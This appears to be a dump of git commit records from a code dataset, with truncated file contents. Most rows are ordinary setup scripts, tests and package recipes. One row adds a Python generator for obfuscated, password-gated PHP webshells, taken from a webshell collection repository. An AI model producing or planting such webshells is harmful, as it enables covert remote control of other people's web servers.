commit stringlengths 40 40 | subject stringlengths 4 1.73k | repos stringlengths 5 127k | old_file stringlengths 2 751 | new_file stringlengths 2 751 | new_contents stringlengths 1 8.98k | old_contents stringlengths 0 6.59k | license stringclasses 13
values | lang stringclasses 23
values |
|---|---|---|---|---|---|---|---|---|
50e9d1f1f66c6fc4e549fa7084f0189e0805d58e | Add first version of setup.py | drdoctr/doctr,gforsyth/doctr_testing,doctrtesting/doctr | setup.py | setup.py | #!/usr/bin/env python
import sys
if sys.version_info < (3,5):
sys.exit("doctr requires Python 3.5 or newer")
from setuptools import setup
import versioneer
setup(
name='doctr',
version=versioneer.get_version(),
cmdclass=versioneer.get_cmdclass(),
description='''Deploy docs from Travis to GitHub p... | mit | Python | |
d9bfa5d255a9a2a3ab278f94f338d2147dcdd1db | Fix setup | betatim/BlackBox,ccauet/scikit-optimize,scikit-optimize/scikit-optimize,betatim/BlackBox,scikit-optimize/scikit-optimize | setup.py | setup.py | try:
from setuptools import setup
except ImportError:
from distutils.core import setup
setup(name='scikit-optimize',
version='0.1',
description='Sequential model-based optimization toolbox.',
long_description=('Scikit-Optimize, or skopt, is a simple and efficient'
' li... | try:
from setuptools import setup
except ImportError:
from distutils.core import setup
setup(name='scikit-optimize',
version='0.1',
description='Sequential model-based optimization toolbox.',
long_description=('Scikit-Optimize, or skopt, is a simple and efficient'
' li... | bsd-3-clause | Python |
e1d4cbbeab04e6c04b822073937ef19d7ec8e34a | add setup.py | joeymeyer/raspberryturk | setup.py | setup.py | #!/usr/bin/env python
from setuptools import setup, find_packages
setup(name='raspberryturk',
version='0.0.1',
description='Python package powering the Raspberry Turk chess-playing robot.',
author='Joey Meyer',
author_email='jmeyer41@gmail.com',
url='https://bitbucket.com/joeymeyer/raspb... | mit | Python | |
a4f05ca4022a542dac45114a832991c6bfc93e4a | Remove setuptools dependence. | mromero107/sse,niwinz/sse | setup.py | setup.py | # -*- coding: utf-8 -*-
from distutils.core import setup
setup(
name = "sse",
url = "https://github.com/niwibe/sse",
author = "Andrei Antoukh",
author_email = "niwi@niwi.be",
version="1.1",
description = "Server-Sent Events protocol implemetation.",
py_modules = ['sse'],
classifiers = ... | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from setuptools import setup
description = """
"""
setup(
name = "sse",
url = "https://github.com/niwibe/sse",
author = "Andrei Antoukh",
author_email = "niwi@niwi.be",
version="1.0",
description = "Server Sent Events protocol im... | bsd-3-clause | Python |
b30e1c560ecde7b2c949de42eceddf5c49c9ba01 | add setup.py file | stroy1/localFoodLearner | setup.py | setup.py | from setuptools import setup
setup(
name="localFoodLearner",
version="0.0.1",
install_requires=[
"pandas",
"numpy",
]
) | mit | Python | |
7036801e6931c480a3eec611ed87f13e29a181bf | Bump version to 0.7.9 | m-kiuchi/ouimeaux,m-kiuchi/ouimeaux,tomjmul/wemo,rgardner/ouimeaux,rgardner/ouimeaux,aktur/ouimeaux,sstangle73/ouimeaux,fujita-shintaro/ouimeaux,rgardner/ouimeaux,iancmcc/ouimeaux,fujita-shintaro/ouimeaux,bennytheshap/ouimeaux,drock371/ouimeaux,bennytheshap/ouimeaux,tomjmul/wemo,aktur/ouimeaux,fujita-shintaro/ouimeaux,... | setup.py | setup.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
here = lambda *a: os.path.join(os.path.dirname(__file__), *a)
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
if sys.argv[-1] == 'publish':
os.system('python setup.py sdist upload')
sys.exit()
... | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
here = lambda *a: os.path.join(os.path.dirname(__file__), *a)
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
if sys.argv[-1] == 'publish':
os.system('python setup.py sdist upload')
sys.exit()
... | bsd-3-clause | Python |
1cbe793a5260fcfe8e16462e224bcfc19125063c | add a setup.py | jonatron/django-admin-resumable-js,jonatron/django-admin-resumable-js,jonatron/django-admin-resumable-js | setup.py | setup.py | import os
from setuptools import setup
README = open(os.path.join(os.path.dirname(__file__), 'README.md')).read()
# allow setup.py to be run from any path
os.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir)))
setup(
name='django-admin-resumable-js',
version='0.1',
packages=['admi... | mit | Python | |
2af222aed53f4cf799824b564ecd7e633d6356b8 | add setup.py | amaxwell/datatank_py | setup.py | setup.py | from setuptools import setup
setup(
name = "datatank_py",
version = "0.1",
packages = [ "datatank_py" ],
install_requires = ['numpy>1.0'],
# package_data = {
# "" : [ "*.tank", "*.markdown", "*.txt" ]
# },
author = "Adam R. Maxwell",
author_email = "amaxwell@mac.com",
... | bsd-3-clause | Python | |
a8b809a8f0f13bda454c2c78c08b35127bed16d6 | Bump the patch version to 1.0.1. | maikelwever/django-redis-cache,chripede/django-redis-cache,carltongibson/django-redis-cache,maikelwever/django-redis-cache,carltongibson/django-redis-cache,chripede/django-redis-cache | setup.py | setup.py | from setuptools import setup
setup(
name="django-redis-cache",
url="http://github.com/sebleier/django-redis-cache/",
author="Sean Bleier",
author_email="sebleier@gmail.com",
version="1.0.1",
packages=["redis_cache", "redis_cache.backends"],
description="Redis Cache Backend for Django",
... | from setuptools import setup
setup(
name="django-redis-cache",
url="http://github.com/sebleier/django-redis-cache/",
author="Sean Bleier",
author_email="sebleier@gmail.com",
version="1.0.0",
packages=["redis_cache", "redis_cache.backends"],
description="Redis Cache Backend for Django",
... | bsd-3-clause | Python |
2dc04229247f28c8c098f8e3e00341419a1ead1c | Add setup.py | mpkato/openliveq | setup.py | setup.py | # -*- coding:utf-8 -*-
from setuptools import setup
from setuptools.command.test import test as TestCommand
class PyTest(TestCommand):
def finalize_options(self):
TestCommand.finalize_options(self)
self.test_args = []
self.test_suite = True
def run_tests(self):
import pytest
... | mit | Python | |
926beaa12c0e17e949c362487014a6ec7521d654 | Add distutils - setup.py | nabla-c0d3/sslyze | setup.py | setup.py | #!/usr/bin/env python
from sslyze import SSLYZE_VERSION, PROJECT_URL
from distutils.core import setup
setup(name='SSLyze',
version=SSLYZE_VERSION,
description='Fast and full-featured SSL scanner',
long_description=open('README.md').read(),
author_email='sslyze@isecpartners.com',
url=PROJECT_URL,
... | agpl-3.0 | Python | |
81ed734de508cb9dff61d2bc2703e54bda02067a | remove netifaces from package dependencies | lilchurro/vent,cglewis/vent,cglewis/vent,CyberReboot/vent,bpagon13/vent,lilchurro/vent,Jeff-Wang93/vent,Jeff-Wang93/vent,cglewis/vent,lilchurro/vent,bpagon13/vent,CyberReboot/vent,bpagon13/vent,Jeff-Wang93/vent,CyberReboot/vent | setup.py | setup.py | from setuptools import setup
setup(
name='vent',
version='v0.4.3.dev',
packages=['vent', 'vent.core', 'vent.core.file_drop',
'vent.core.rq_worker', 'vent.core.rq_dashboard', 'vent.menus',
'vent.core.rmq_es_connector', 'vent.helpers', 'vent.api'],
install_requires=['docker', ... | from setuptools import setup
setup(
name='vent',
version='v0.4.3.dev',
packages=['vent', 'vent.core', 'vent.core.file_drop',
'vent.core.rq_worker', 'vent.core.rq_dashboard', 'vent.menus',
'vent.core.rmq_es_connector', 'vent.helpers', 'vent.api'],
install_requires=['docker', ... | apache-2.0 | Python |
5262ff764e09b7d8e20cce848a288968014e648e | Add setup.py | Suor/flaws | setup.py | setup.py | from setuptools import setup
setup(
name='iron',
version='0.0.1',
author='Alexander Schepanovski',
author_email='suor.web@gmail.com',
description='Iron out your python code.',
long_description=open('README.rst').read(),
url='http://github.com/Suor/iron',
license='BSD',
py_modules=... | bsd-2-clause | Python | |
8dea7c6cc036e228c6a963413195d45f03a55850 | add setup | Urucas/pip-check | setup.py | setup.py | from setuptools import setup
setup(scripts=['pip-check.py'])
| mit | Python | |
4fe0efd61c848aa55e900031e5ae27bc3eb4b149 | Add caffe profile tool. | myfavouritekk/TPN | tools/profiling/py_caffe_profiling.py | tools/profiling/py_caffe_profiling.py | #!/usr/bin/env python
import sys
import os
import argparse
import time
import numpy as np
if __name__ == '__main__':
parser = argparse.ArgumentParser('Time profiling of certain Caffe code.')
parser.add_argument('--caffe',
help='Path to caffe repository.')
parser.add_argument('--gpu', type=int, def... | mit | Python | |
185851cfb4614ebe97f38a43c5e2eb9503ce5c6c | Add tests for model render methods | liu21st/masterfirefoxos,liu21st/masterfirefoxos,enng0227/masterfirefoxos,mozilla/masterfirefoxos,glogiotatidis/masterfirefoxos,craigcook/masterfirefoxos,liu21st/masterfirefoxos,enng0227/masterfirefoxos,mozilla/masterfirefoxos,glogiotatidis/masterfirefoxos,mozilla/masterfirefoxos,glogiotatidis/masterfirefoxos,craigcook/... | masterfirefoxos/base/tests.py | masterfirefoxos/base/tests.py | from django.test import SimpleTestCase
from feincms.module.medialibrary.models import MediaFile
from . import models
class TestYouTubeParagraphEntry(SimpleTestCase):
def test_render(self):
test_data = {'title': 'Test Title', 'text': 'test text',
'youtube_id': 'test youtube id'}
... | mpl-2.0 | Python | |
b476c117ccea275e415d83e51c92ee0dbab4f6f8 | add db loading script | WangWenjun559/Weiss,WangWenjun559/Weiss,WangWenjun559/Weiss,WangWenjun559/Weiss,WangWenjun559/Weiss,WangWenjun559/Weiss,WangWenjun559/Weiss | mysql/load_entities.py | mysql/load_entities.py | """
A scrpit to load entity into Database
Author: Ming
Usage:
python load_entities.py -source source -from 2015-01-01 -to 2016-01-01 -user username -pass password
"""
import MySQLdb as mdb
from datetime import date
from datetime import datetime
from dateutil.rrule import rrule, DAILY
import sys
import json
import argp... | apache-2.0 | Python | |
a8e3570e373409cb442605218f1a6c936c518c5a | Add spotify liquid tag | lazycoder-ru/pelican-plugins,Xion/pelican-plugins,lazycoder-ru/pelican-plugins,talha131/pelican-plugins,if1live/pelican-plugins,kdheepak89/pelican-plugins,benjaminabel/pelican-plugins,jakevdp/pelican-plugins,gjreda/pelican-plugins,florianjacob/pelican-plugins,seandavi/pelican-plugins,phrawzty/pelican-plugins,ingwinlu/p... | liquid_tags/spotify.py | liquid_tags/spotify.py | """
Spotify Tag
---------
This implements a Liquid-style spotify tag for Pelican,
based on the jekyll / octopress youtube tag [1]_
Syntax
------
{% spotify id %}
Example
-------
{% spotify 1HNZcRFlIKwHAJD3LxvX4d %}
Output
------
<iframe src='https://embed.spotify.com/?uri=spotify:track:1HNZcRFlIKwHAJD3LxvX4d' width=... | agpl-3.0 | Python | |
958abe5b298f255df5e4aef94b12d647f1319650 | Create new package (#6811) | tmerrick1/spack,matthiasdiener/spack,LLNL/spack,EmreAtes/spack,tmerrick1/spack,mfherbst/spack,krafczyk/spack,krafczyk/spack,EmreAtes/spack,mfherbst/spack,iulian787/spack,krafczyk/spack,krafczyk/spack,LLNL/spack,matthiasdiener/spack,EmreAtes/spack,matthiasdiener/spack,LLNL/spack,mfherbst/spack,tmerrick1/spack,tmerrick1/... | var/spack/repos/builtin/packages/py-pyani/package.py | var/spack/repos/builtin/packages/py-pyani/package.py | ##############################################################################
# Copyright (c) 2013-2017, Lawrence Livermore National Security, LLC.
# Produced at the Lawrence Livermore National Laboratory.
#
# This file is part of Spack.
# Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved.
# LLNL-CODE-64... | lgpl-2.1 | Python | |
04ddb34d3dd312294bdc61f694f1db862091cf57 | Create beta_move_zeroes.py | Orange9000/Codewars,Orange9000/Codewars | Solutions/beta_move_zeroes.py | Solutions/beta_move_zeroes.py | def move_zeroes(*args):
return sum([[x]*args.count(x) for x in range(min(args), max(args)+1) if x!=0], []) + \
[0]*args.count(0) if args else []
| mit | Python | |
c45ccd0f258fcbb152ffa9597ceb1bacd472f73b | Add test for email backend coverage | masschallenge/impact-api,masschallenge/impact-api,masschallenge/impact-api,masschallenge/impact-api | web/impact/impact/tests/test_impact_email_backend.py | web/impact/impact/tests/test_impact_email_backend.py | from mock import patch
from django.core import mail
from django.test import TestCase
from django.urls import reverse
from impact.minimal_email_handler import MinimalEmailHandler
class TestEmailBackend(TestCase):
@patch("impact.impact_email_backend.ImpactEmailBackend._add_logging_headers")
@patch("django.core... | mit | Python | |
33aa9e79d2fe331f88574c02ad297072455be86a | add command to create scripts with the shell env | nirbheek/cerbero,flexVDI/cerbero,ikonst/cerbero,justinjoy/cerbero,freedesktop-unofficial-mirror/gstreamer-sdk__cerbero,jackjansen/cerbero-2013,multipath-rtp/cerbero,ikonst/cerbero,sdroege/cerbero,nzjrs/cerbero,superdump/cerbero,nzjrs/cerbero,freedesktop-unofficial-mirror/gstreamer-sdk__cerbero,davibe/cerbero,superdump/... | cerbero/commands/gensdkshell.py | cerbero/commands/gensdkshell.py | # cerbero - a multi-platform build system for Open Source software
# Copyright (C) 2012 Andoni Morales Alastruey <ylatuya@gmail.com>
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Library General Public
# License as published by the Free Software Foundation; eit... | lgpl-2.1 | Python | |
a8c3bbc363a319cd2e5748b1265b6e00563d510a | add udp.py | tjctw/PythonNote,tjctw/PythonNote,tjctw/PythonNote,tjctw/PythonNote | Foundations.of.Python.Network.Programming.369p/udp.py | Foundations.of.Python.Network.Programming.369p/udp.py | import argparse, socket
from datetime import datetime
MAX_BYTES = 65535
def server(port):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('127.0.0.1', port))
print('Listening at {}'.format(sock.getsockname()))
while True:
data, address = sock.recvfrom(MAX_BYTES)
text =... | cc0-1.0 | Python | |
b1c0b9afacb12e8255681db25a01b94f25fed89e | add http tps test | chrisy/vpp,chrisy/vpp,chrisy/vpp,FDio/vpp,chrisy/vpp,FDio/vpp,FDio/vpp,chrisy/vpp,FDio/vpp,FDio/vpp,FDio/vpp,chrisy/vpp,chrisy/vpp,chrisy/vpp,FDio/vpp,FDio/vpp | test/test_http.py | test/test_http.py | #!/usr/bin/env python3
""" Vpp HTTP tests """
import unittest
import os
import subprocess
import http.client
from framework import VppTestCase, VppTestRunner, Worker
from vpp_devices import VppTAPInterface
@unittest.skip("Requires root")
class TestHttpTps(VppTestCase):
""" HTTP test class """
@classmethod
... | apache-2.0 | Python | |
51b90afe8388b0425810bc1560cffe2e5a02fca8 | Add boolean matrix generator - from mocogenomics | andretadeu/jhu-immuno,andretadeu/jhu-immuno | code/generate_boolean_matrix.py | code/generate_boolean_matrix.py | import itertools
letters = ['A','R','N','D','C','E','Q','G','H','I','L','K','M','F','P','S','T','W','Y','V']
# generates a matrix from all peptides and saves to CSV
def generateBooleanMatrix(peptides):
# generate header ------
peptide_length = 9
aa_list = ['A','R','N','D','C','E','Q','G','H','I','L','K','M','F','... | mit | Python | |
05dace442d2d6123703910ea80aec6e989c65009 | create the conftest file that does all the magic | jtaleric/ceph-ansible,bengland2/ceph-ansible,jtaleric/ceph-ansible,guits/ceph-ansible,WingkaiHo/ceph-ansible,jsaintrocc/ceph-ansible,ceph/ceph-ansible,WingkaiHo/ceph-ansible,bengland2/ceph-ansible,jsaintrocc/ceph-ansible,albertomurillo/ceph-ansible,travmi/ceph-ansible,font/ceph-ansible,albertomurillo/ceph-ansible,alber... | tests/conftest.py | tests/conftest.py | import os
import pytest
import imp
def pytest_addoption(parser):
default = 'scenario.py'
parser.addoption(
"--scenario",
action="store",
default=default,
help="YAML file defining scenarios to test. Currently defaults to: %s" % default
)
def load_scenario_config(filepath,... | apache-2.0 | Python | |
7de5d0df0b726c629724d931766ede629a451d18 | Add logging tests. | AdamGagorik/pydarkstar,LegionXI/pydarkstar | tests/logutils.py | tests/logutils.py | """
.. moduleauthor:: Adam Gagorik <adam.gagorik@gmail.com>
"""
import unittest
import pydarkstar.logutils
pydarkstar.logutils.setDebug()
class TestLogutils(unittest.TestCase):
pass
if __name__ == '__main__':
unittest.main()
| mit | Python | |
7a7c8c1f735982ca8403aec05861430ba70aca7f | add a test that checks _mssql whilst being run in threads | JimDennis/pymssql,zerolugithub/pymssql,djhenderson/pymssql,Alwnikrotikz/pymssql,Aloomaio/pymssql,JimDennis/pymssql,MunDaesik/pymssql,pymssql/pymssql,thegooglecodearchive/pymssql,msabramo/pymssql,msabramo/pymssql,klothe/pymssql,Aloomaio/pymssql,Aloomaio/pymssql,google-code-export/pymssql,bladams/pymssql,google-code-expo... | tests/threaded.py | tests/threaded.py | import _mssql
import unittest
import threading
from mssqltests import server, username, password, database
class TestingThread(threading.Thread):
def run(self):
self.running = True
mssql = _mssql.connect(server, username, password)
mssql.select_db(database)
for i in xrange(0, 100):... | lgpl-2.1 | Python | |
5fbcc25b46a5886307a1dba3d2771c3dd39b0570 | Format and document colorize | fahhem/mbed-os,Archcady/mbed-os,geky/mbed,fanghuaqi/mbed,kl-cruz/mbed-os,c1728p9/mbed-os,jeremybrodt/mbed,fahhem/mbed-os,mazimkhan/mbed-os,bulislaw/mbed-os,j-greffe/mbed-os,arostm/mbed-os,theotherjimmy/mbed,theotherjimmy/mbed,radhika-raghavendran/mbed-os5.1-onsemi,infinnovation/mbed-os,radhika-raghavendran/mbed-os5.1-o... | tools/colorize.py | tools/colorize.py | # mbed SDK
# Copyright (c) 2016 ARM Limited
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed ... | """
mbed SDK
Copyright (c) 2016 ARM Limited
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing... | apache-2.0 | Python |
d3c6845e83514f59f421d042cab9cf8fa817e33c | Add tests for common.signal.SignalCompare | ARM-software/bart | tests/test_signal.py | tests/test_signal.py | # Copyright 2015-2015 ARM Limited
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in w... | apache-2.0 | Python | |
f91d32d25bc84a795d53f2f7698b77862d08f690 | Add a test_traits file | frostidaho/dynmen | tests/test_traits.py | tests/test_traits.py | # -*- coding: utf-8 -*-
from dynmen import common
import unittest
class TestFlag(unittest.TestCase):
@classmethod
def setUpClass(cls):
class TFlag(object):
dflt_t = common.Flag('dflt_t', default=True, flag='-dt')
dflt_f = common.Flag('dflt_f', default=False, flag='-df')
... | mit | Python | |
8e7784759515a2ffa88c43b85695087fff6d9c8c | add create_webshell_with_py.py @pureqh :💯 | hillwah/webshell,hillwah/webshell,360sec/webshell,tennc/webshell,tennc/webshell,hillwah/webshell,tennc/webshell,360sec/webshell,tennc/webshell,tennc/webshell,360sec/webshell,360sec/webshell,tennc/webshell,hillwah/webshell,360sec/webshell,hillwah/webshell,hillwah/webshell,360sec/webshell,360sec/webshell,hillwah/webshell... | php/create_webshell_with_py.py | php/create_webshell_with_py.py | import random
#author: pureqh
#github: https://github.com/pureqh/webshell
#use:GET:http://url?pass=pureqh POST:zero
shell = '''<?php
class {0}{1}
public ${2} = null;
public ${3} = null;
function __construct(){1}
if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){1}
... | mit | Python | |
34b7d99becd1664c1a5881da178fb4ae8b871bee | Add new package: mahout (#18048) | LLNL/spack,iulian787/spack,LLNL/spack,iulian787/spack,LLNL/spack,iulian787/spack,LLNL/spack,LLNL/spack,iulian787/spack,iulian787/spack | var/spack/repos/builtin/packages/mahout/package.py | var/spack/repos/builtin/packages/mahout/package.py | # Copyright 2013-2020 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class Mahout(Package):
"""The Apache Mahout project's goal is to build an environment for
qu... | lgpl-2.1 | Python | |
3867db9e3c2107deae0c2b3e7f8ba3461bb550b2 | Add test case to check invalid time_start (#558) | interuss/dss,interuss/dss,interuss/dss,interuss/dss | monitoring/prober/scd/test_subscription_query_time.py | monitoring/prober/scd/test_subscription_query_time.py | """Strategic conflict detection Subscription put query tests:
- query with different time formats.
"""
import datetime
from monitoring.monitorlib.infrastructure import default_scope
from monitoring.monitorlib import scd
from monitoring.monitorlib.scd import SCOPE_SC
from monitoring.prober.infrastructure import for... | apache-2.0 | Python | |
32fb5d7d98c112bf9a358339931f2708114fd56b | fix commentary of DimensionKey in questions.models in API for sphinx | hds-lab/textvisdrg,hds-lab/textvisdrg,hds-lab/textvisdrg,hds-lab/textvisdrg,hds-lab/textvisdrg | msgvis/apps/questions/models.py | msgvis/apps/questions/models.py | from django.db import models
from msgvis.apps.dimensions import registry
from django.db.models import Q
class Article(models.Model):
"""
A published research article.
"""
year = models.PositiveIntegerField(null=True, default=None, blank=True)
"""The publication year for the article."""
aut... | from django.db import models
from msgvis.apps.dimensions import registry
from django.db.models import Q
class Article(models.Model):
"""
A published research article.
"""
year = models.PositiveIntegerField(null=True, default=None, blank=True)
"""The publication year for the article."""
aut... | mit | Python |
ce3a61f640d37bfdb10a0862f9478153436de327 | add script to generate a manifest file and upload dcc archives to GCS | isb-cgc/ISB-CGC-data-proc,isb-cgc/ISB-CGC-data-proc,isb-cgc/ISB-CGC-data-proc | data_upload/main/ISBCGCCreateSnapshotArchive.py | data_upload/main/ISBCGCCreateSnapshotArchive.py | '''
Created on Jun 29, 2016
Copyright 2016, Institute for Systems Biology.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by... | apache-2.0 | Python | |
f1b8216408f26094a70789297198d2a63b0db0dd | Add pframe test. | mrhappyasthma/happydebugging,mrhappyasthma/HappyDebugging | tests/pframe_test.py | tests/pframe_test.py | """Tests for scripts/pframe.py."""
import re
import unittest
from test_utils import import_utils
import_utils.prepare_lldb_import_or_exit()
import lldb
import_utils.prepare_for_scripts_imports()
from scripts import pframe
class PFrameTest(unittest.TestCase):
def __init__(self, *args, **kwargs):
super(PFrameT... | mit | Python | |
9524f44838df21f386b56d047e4a45e2aba9ad4e | Create Valid_Palindrome.py | UmassJin/Leetcode | Array/Valid_Palindrome.py | Array/Valid_Palindrome.py | Given a string, determine if it is a palindrome, considering only alphanumeric characters and ignoring cases.
For example,
"A man, a plan, a canal: Panama" is a palindrome.
"race a car" is not a palindrome.
Note:
Have you consider that the string might be empty? This is a good question to ask during an interview.
Fo... | mit | Python | |
bffa61da4576c088c081daea3833142af58fef1d | Add in some tests for cities | jhesketh/pyconau-gating-demo | tests/test_cities.py | tests/test_cities.py | import testtools
import cities
class TestCities(testtools.TestCase):
def test_largest(self):
largest = 'Sydney'
self.assertEqual(largest, cities.largest(cities.get_cities()).name)
| apache-2.0 | Python | |
91d24f62505462e5009cd5e0fb1176824d7c57d9 | Test config | goldsborough/changes | tests/test_config.py | tests/test_config.py | from changes import config
from . import BaseTestCase
class ConfigTestCase(BaseTestCase):
arguments = {
'--debug': True,
'--dry-run': False,
'--help': False,
'--major': False,
'--minor': False,
'--new-version': '0.0.1',
'new_version': '0.0.1',
'--noi... | mit | Python | |
71fda989816e1848c99b801c133171216abe0df5 | Add test for setting scheduler parameters | libvirt/libvirt-python,libvirt/libvirt-python,libvirt/libvirt-python | tests/test_domain.py | tests/test_domain.py |
import unittest
import libvirt
class TestLibvirtDomain(unittest.TestCase):
def setUp(self):
self.conn = libvirt.open("test:///default")
self.dom = self.conn.lookupByName("test")
def tearDown(self):
self.dom = None
self.conn = None
def testDomainSchedParams(self):
... | lgpl-2.1 | Python | |
726ae01462c8945df1b7d3f32d56fc54ed9b6fa2 | Write hub initialization tests | dashdotrobot/bike-wheel-calc | tests/test_bicycle_wheel.py | tests/test_bicycle_wheel.py | import pytest
from bikewheelcalc import BicycleWheel, Rim, Hub
# -------------------------------------------------------------------------------
# Test fixtures
#------------------------------------------------------------------------------
@pytest.fixture
def std_radial():
'Return a Standard Bicycle Wheel with r... | mit | Python | |
d05a2a7504bf8e6adf6d5d94d0b810060f66a9ec | Create test_it_all.py | destruc7i0n/PyPixel | tests/test_it_all.py | tests/test_it_all.py | #soon TM
| mit | Python | |
afe2cac782f2578e610137891566d862f62375c6 | Create uds18.py | gbrammer/unicorn,gbrammer/unicorn,gbrammer/pygrism,gbrammer/pygrism | uds18.py | uds18.py | """
Custom fits for the lens in UDS-18
"""
import unicorn
import pyfits
import emcee
| mit | Python | |
df26dc408dc629e4802716ace5d0b3879c2b110b | Create factories.py | RonsenbergVI/trendpy,RonsenbergVI/trendpy | trendpy/factories.py | trendpy/factories.py | # factory.py
# MIT License
# Copyright (c) 2017 Rene Jean Corneille
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, c... | mit | Python | |
df7cf8ef2bdba9f50e21f4a7fc96904122fde311 | Add gunicorn config file | mehdisadeghi/sqmpy,simphony/sqmpy,mehdisadeghi/sqmpy,mehdisadeghi/sqmpy,simphony/sqmpy,simphony/sqmpy | gunicorn_cfg.py | gunicorn_cfg.py | """
This file contains gunicorn settings.
To run sqmpy with gunicorn run the following command:
gunicorn -c gunicorn_cfg.py run:app
In order to daemonize gunicorn add -D flag:
gunicorn -c gunicorn_cfg.py run:app -D
"""
import multiprocessing
# Gunicorn will listen on the given host:port
bind = '0.0.0.0:30... | bsd-3-clause | Python | |
cb875f2043a1c3a9ec5201336d1b577655612279 | move utility methods into their own module as functions, clean up type lookup | darthlukan/bottly,shaggytwodope/bottly | utils.py | utils.py | def bytes_to_unicode(data):
return data.decode("UTF-8")
def unicode_to_bytes(data):
return data.encode("UTF-8")
def pretty_print(self, user, msg_type, destination, message):
if isinstance(message, list):
message = " ".join(message)
print("%s %s %s :%s" % (user, msg_type, destination, mes... | mit | Python | |
568fe1ff8c4ef27f93751f53a27707f045f19037 | update core api module | simphony/simphony-paraview,simphony/simphony-paraview | simphony_paraview/core/api.py | simphony_paraview/core/api.py | from .iterators import iter_cells, iter_grid_cells
from .cuba_data_accumulator import CUBADataAccumulator
from .cuba_utils import (
supported_cuba, cuba_value_types, default_cuba_value, VALUETYPES)
from .constants import points2edge, points2face, points2cell, dataset2writer
from .paraview_utils import (
write_t... | from .iterators import iter_cells, iter_grid_cells
from .cuba_data_accumulator import CUBADataAccumulator
from .cuba_utils import (
supported_cuba, cuba_value_types, default_cuba_value, VALUETYPES)
from .constants import points2edge, points2face, points2cell, dataset2writer
from .paraview_utils import write_to_file... | bsd-2-clause | Python |
f418e9e68d1f2a7f6a0ad5060a1ed5a7ed74664f | Add YCM configuration | aostrowski/dotfiles | _vim/ycm_global_extra_conf.py | _vim/ycm_global_extra_conf.py | # Copied from https://gist.github.com/micbou/f8ed3f8bd6bd24e9f89bef286437306b. Kudos to micbou
import os
import ycm_core
SOURCE_EXTENSIONS = [ '.cpp', '.cxx', '.cc', '.c', '.m', '.mm' ]
def IsHeaderFile( filename ):
extension = os.path.splitext( filename )[ 1 ]
return extension in [ '.h', '.hxx', '.hpp', '.hh'... | mit | Python | |
be4374fd50d0c1148e3a734cc53391e15d4bbdc4 | Create wksp5.py | indigohedgehog/RxWorkshopPy | wksp5.py | wksp5.py | """Rx Workshop: Event Processing.
Part 2 - Grouping.
Usage:
python wksp5.py
"""
from __future__ import print_function
import rx
class Program:
@staticmethod
def main():
src = rx.Observable.from_iterable(get_input(),
rx.concurrency.Scheduler.new_thread... | mit | Python | |
e789579c77d2d96d098f4b46f1dfec4d54c843e5 | move AbstractProductCategory and AbstractNestedProductCategory | byteweaver/django-eca-catalogue | eca_catalogue/categorization/abstract_models.py | eca_catalogue/categorization/abstract_models.py | from django.db import models
from django.utils.translation import ugettext_lazy as _
from treebeard.mp_tree import MP_Node
class AbstractProductCategory(models.Model):
name = models.CharField(_("Name"), max_length=128, unique=True)
description = models.TextField(_("Description"), blank=True, null=True)
... | bsd-3-clause | Python | |
000239e4f838f6514f6e902510d70fdc41b196d5 | Add wordpress_post | JulienLeonard/socialpost | wordpress_post.py | wordpress_post.py | import os
import time
from base64 import b64encode
import json
import requests
from wordpresspushmedia import *
#
# publish the image as a media in wordpress, and return the HTML to include into the post
#
def wordpress_publish_image(blogid,title,imageurl,bearer_key):
url = "https://public-api.wordpres... | mit | Python | |
2fdbd208ee6db593df6f8b7c171a716ea3716920 | Add a checks module | stackforge/doc8,openstack/doc8,tschuy/doc8,doismellburning/doc8 | doc8/checks.py | doc8/checks.py | # -*- coding: utf-8 -*-
# Copyright (C) 2014 Ivan Melnikov <iv at altlinux dot org>
#
# Author: Joshua Harlow <harlowja@yahoo-inc.com>
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# ... | apache-2.0 | Python | |
44ef28ee6272c1b65b64ec2f1d54d8fbc592664c | Add script to match instrument IDs to MIMO and Wikidata | CarnegieHall/linked-data | scripts/match_mimoInstruments.py | scripts/match_mimoInstruments.py | # !/usr/local/bin/python3.4.2
# ----Copyright (c) 2017 Carnegie Hall | The MIT License (MIT)----
# ----For the full license terms, please visit https://github.com/CarnegieHall/linked-data/blob/master/LICENSE----
## Argument[0] is script to run
## Argument[1] is path to csv of Wikidata query results w/MIMO and MBZ IDs
... | mit | Python | |
